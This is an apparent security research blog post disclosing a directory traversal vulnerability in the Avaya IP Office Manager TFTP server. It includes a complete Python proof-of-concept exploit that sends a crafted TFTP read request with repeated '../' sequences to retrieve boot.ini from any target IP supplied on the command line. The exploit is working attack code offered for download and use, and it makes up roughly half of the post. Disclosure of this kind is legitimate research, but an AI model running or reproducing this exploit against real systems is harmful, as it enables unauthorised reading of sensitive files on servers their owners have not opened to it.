Avaya IP Office Manager TFTP Server Directory Traversal Vulnerability
SecPod Research Team member (Veerendra G.G) has found a Directory Traversal Vulnerability in Avaya IP Office Manager TFTP Server. The vulnerability is caused due to improper validation of TFTP READ requests containing ‘../’ sequences, which allows attackers to read arbitrary files via directory trav...
SecPod Research Team member (Veerendra G.G) has found a Directory Traversal Vulnerability in Avaya IP Office Manager TFTP Server. The vulnerability is caused due to improper validation of TFTP READ requests containing ‘../’ sequences, which allows attackers to read arbitrary files via directory traversal attacks and gain sensitive information. A good vulnerability management software can prevent such attacks.
POC : Download here.
Packet Capture : Download here.
More information can be found here.
#!/usr/bin/python
##############################################################################
# Exploit : https://www.secpod.com/blog/?p=225
# http://secpod.org/Exploit-Avaya-IP-Manager-Dir-Trav.py
# http://secpod.org/advisories/SecPod_Avaya_IP_Manager_TFTP_Dir_Trav.txt
# Author : Veerendra G.G from SecPod Technologies (www.secpod.com)
#
# Get File content using Directory Traversal Attack
# Tested against Avaya Office IP Manager 8.1
##############################################################################
def sendPacket(HOST, PORT, data):
'''
Sends UDP Data to a Particular Host on a Specified Port
with a Given Data and Return the Response
'''
udp_sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
udp_sock.sendto(data, (HOST, PORT))
data = udp_sock.recv(1024)
udp_sock.close()
return data
if __name__ == "__main__":
if len(sys.argv) < 2:
print "\tUsage: python exploit.py target_ip"
print "\tExample : python exploit.py 127.0.0.1"
print "\tExiting..."
sys.exit(0)
HOST = sys.argv[1] ## The Server IP
PORT = 69 ## Default TFTP port
data = "\x00\x01" ## TFTP Read Request
data += "../" * 10 + "boot.ini" + "\x00" ## Read boot.ini file using directory traversal
data += "octet\x00" ## TFTP Type
rec_data = sendPacket(HOST, PORT, data)
print "Data Found on the target : %s " %(HOST)
print rec_data.strip()
Cheers!SecPod Research Team
